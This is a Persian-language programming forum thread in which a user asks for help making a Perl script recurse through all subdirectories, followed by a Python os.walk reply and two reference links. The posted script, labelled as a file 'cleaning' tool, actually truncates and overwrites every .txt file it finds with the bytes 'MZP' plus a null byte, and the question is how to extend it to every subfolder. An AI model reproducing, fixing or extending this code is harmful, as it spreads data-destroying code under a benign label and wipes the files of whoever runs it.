ورود

View Full Version : پرل :: ریختن کل زیر شاخه های یک دایرکتوری در آرایه



sali444
جمعه 04 آذر 1390, 16:03 عصر
سلام دوستان
من دارم یه برنامه می نویسم که نیاز دارم یه دایرکتوریو با کل ساب هاش بریزم تو آرایه.
مشکل اینجاست که فقط اولین دایرکتوری ها رو ایندکس می کنه...
یعنی dir1 و subdir1 و subdir1
به این شکل


dir1
subdir1
subdir1
subdir2
subdir2
dir2
subdir2
subdir2

الگوریتم کار رو بهم بدید هم می تونه کمکم کنه...


#!/usr/bin/perl
# Massive Def
# for cleaning files data

#Libraries
use Cwd qw/chdir/;
#variables
$ARGC=@ARGV;
$_dir='.';
@directory;
$bits = "\x4D\x5A\x50\x00";
$i2 = -1;
$root = -1;
$dircount = 0;
if ($ARGC !=1)
{
printf "[+] Use mew.pl -0";
sleep(2);
exit(1);
}

_reading();
sub _reading # Reading directory's files and wow !!! ... <1>
{
print "\$_dir = $_dir\n";
if( $_dir eq "" )
{
_ex();
}
opendir (DIR, $_dir) or die "Couldn't open directory, $!"; # Reading a directory ...
chdir $_dir and $root++ or die "Can't . . ., $!";
$_dir = "";
$counter = 0;
while ($file = readdir DIR)
{
$length = 50 - (length $file); # Computing spaces between name and type ... <2>
$space = " "x$length; # </2>
if( $counter > 1 )
{
$filelicense = 1;
open(TFile,$file) or $filelicense = 0; # Recognize Directories and Files ... <3>
close(TFile);
if( $filelicense == 1 )
{
print $file.$space." File\n";
}
else
{
print $file.$space." Directory\n";
$directory[$root][$dircount] = "$file";
$dircount++;
} # </3>

}
$counter++;
}
close DIR;
print '[+] '.($counter - 2)." At This...\n";
for($i = 2; $i <= $counter; $i++)
{
my @File = glob("*.txt");
foreach my $massive(@File)
{
open(EDITME, '>', $massive);
print EDITME $bits;
close(EDITME);
}
}
for($i2; $i2 < (length @directory);$i2++)
{
$_dir = $directory[$i2];
#$directory[$i2] = "";
@directory = "";
if($_dir ne "")
{
$dircount = 0;
_reading();
}
}
} # </1>
sub _ex
{
for($i3 = -1; $i < (length @d_);$i3++)
{
print $i3." : ".$d_i3;
}
}

r00tkit
شنبه 05 آذر 1390, 08:57 صبح
سلام
توی پایتون می تونید به این شکل عمل کنید :

def func(path):
for root, subFolders, files in os.walk(path):
for file in files:
#do what you want

ehp_kz6597
شنبه 05 آذر 1390, 09:22 صبح
من با پرل کار نکردم ولی فکرکنم اینا کارتو راه بندازه
؟How do I list the files in a directory (http://perlmeme.org/faqs/file_io/directory_listing.html)
Creating a multidimensional array of subdirectories and its contents (http://www.unix.com/shell-programming-scripting/130608-perl-help-creating-multidimensional-array-subdirectories-its-contents.html)